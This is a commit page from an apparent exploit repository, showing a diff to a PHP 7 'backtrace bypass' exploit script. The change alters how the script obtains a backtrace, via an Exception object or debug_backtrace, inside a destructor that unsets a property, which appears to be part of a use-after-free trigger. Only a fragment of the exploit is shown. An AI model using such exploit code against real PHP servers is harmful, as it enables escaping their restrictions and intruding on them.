Skip to content

Commit 396e393

Browse files
committed
Get the backtrace via Exception class, when possible
1 parent f226461 commit 396e393

File tree

1 file changed

+4
-1
lines changed

1 file changed

+4
-1
lines changed

php7-backtrace-bypass/exploit.php

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,10 @@ class Vuln {
2121
public function __destruct() {
2222
global $backtrace;
2323
unset($this->a);
24-
$backtrace = debug_backtrace();
24+
$backtrace = (new Exception)->getTrace(); # ;)
25+
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
26+
$backtrace = debug_backtrace();
27+
}
2528
}
2629
}
2730

0 commit comments

Comments
 (0)